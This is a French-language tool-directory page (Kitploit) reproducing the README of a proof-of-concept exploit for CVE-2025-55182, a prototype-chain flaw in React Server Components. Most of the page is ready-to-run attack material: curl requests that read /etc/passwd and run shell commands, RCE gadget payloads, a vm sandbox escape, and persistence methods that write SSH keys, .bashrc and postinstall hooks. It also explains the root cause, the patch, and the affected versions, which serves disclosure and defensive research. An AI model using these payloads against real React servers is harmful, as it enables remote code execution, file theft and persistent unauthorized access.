Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182-poc — Exploit de preuve de concept pour CVE-2025-55182, démontrant l'exécution de code à distance via une vulnérabilité de chaîne de prototypes dans les composants serveur React. Inclut plusieurs gadgets RCE et des attaques de persistance. | Kitploit
Outils/GitHubGitHub/ducducuc111/cve-2025-55182-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHub
ducducuc111/cve-2025-55182-poc

CVE-2025-55182-poc

Exploit de preuve de concept pour CVE-2025-55182, démontrant l'exécution de code à distance via une vulnérabilité de chaîne de prototypes dans les composants serveur React. Inclut plusieurs gadgets RCE et des attaques de persistance.

Voir le dépôt
4il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182 - Vulnérabilité de chaîne de prototype des composants serveur React

Cette POC démontre la CVE-2025-55182 en utilisant le code vulnérable réel de [email protected].

Démarrage rapide

root@kitploit:~
# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit

Résultat attendu

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

Scripts NPM

root@kitploit:~
# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)

# Exploits
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)

Tester des gadgets individuels

root@kitploit:~
# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

Fichiers clés

Serveurs

FichierPortDescription
src/server-realistic.js3002Serveur principal - simule un bundle webpack avec des modules courants (fs, vm, child_process)
src/server.js3002Serveur legacy (utilise require direct)

Scripts d'exploitation

FichierDescription
exploit-rce-v4.jsRCE principal via vm#runInThisContext
exploit-all-gadgets.jsTeste tous les gadgets RCE (vm, child_process, fs)
exploit-persistence.jsAttaques de persistance (clés SSH, .bashrc)

Comment fonctionne server-realistic.js

Simule un vrai bundle webpack où les applications regroupent couramment des modules dangereux via des dépendances :

root@kitploit:~
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

The __webpack_require__ function only loads modules from BUNDLED_MODULES, simulating real webpack behavior.

La vulnérabilité

Cause racine

Dans requireModule(), les exports sont accédés via la notation par crochets sans vérification hasOwnProperty :

root@kitploit:~
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

Vecteur d'attaque

  1. Envoyer $ACTION_REF_0 avec les métadonnées de l'action liée
  2. id: 'vm#runInThisContext' charge le module vm, accède à l'export runInThisContext
  3. Le tableau bound devient les arguments de la fonction
  4. Lorsque l'action est appelée : runInThisContext(CODE) exécute du code arbitraire

Tous les gadgets RCE vérifiés

GadgetStatutDescription
vm#runInThisContext✓Exécute du JS arbitraire dans le contexte actuel
vm#runInNewContext✓Exécute dans un "sandbox" (facilement contourné)
child_process#execSync✓Exécution directe de commande shell
child_process#execFileSync✓Exécution de fichiers binaires
child_process#spawnSync✓Lance un processus (retourne un objet)
fs#readFileSync✓Lit des fichiers arbitraires
fs#writeFileSync✓Écrit des fichiers arbitraires

Exemples de charges utiles des gadgets

Exécuter une commande shell (whoami) :

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

Lire des fichiers sensibles :

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

Écrire des fichiers sur le disque :

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

Exécuter du JavaScript arbitraire :

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

Échappement du sandbox (vm.runInNewContext) :

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

Chemins d'attaque alternatifs

Avez-vous besoin de vm ou child_process ?

Pour une RCE directe : Oui, vous avez besoin de l'un de :

  • module vm (runInThisContext, runInNewContext)
  • module child_process (execSync, execFileSync, spawnSync)

Pour une RCE indirecte (fs uniquement) : Non ! Avec seulement fs vous pouvez :

  • Écrire dans ~/.ssh/authorized_keys → accès SSH
  • Ajouter à ~/.bashrc → exécution de code à la prochaine connexion
  • Écraser node_modules/* → RCE au redémarrage de l'application
  • Modifier le postinstall de package.json → RCE lors du prochain npm install

Résultats de comparaison

VersionAttaqueRésultat
React 19.0.0vm#runInThisContext✓ RCE réussie
React 19.2.1vm#runInThisContext✗ Bloquée

Tester la version corrigée

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail

Paquets npm vulnérables

Voir VULNERABLE-PACKAGES.md pour des recherches sur les paquets npm populaires qui incluent des modules dangereux :

ModuleTéléchargements hebdomadairesPaquets populaires
fs145M+fs-extra, gray-matter, multer, sharp
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2

Versions affectées

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

Versions corrigées

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
Télécharger l’outil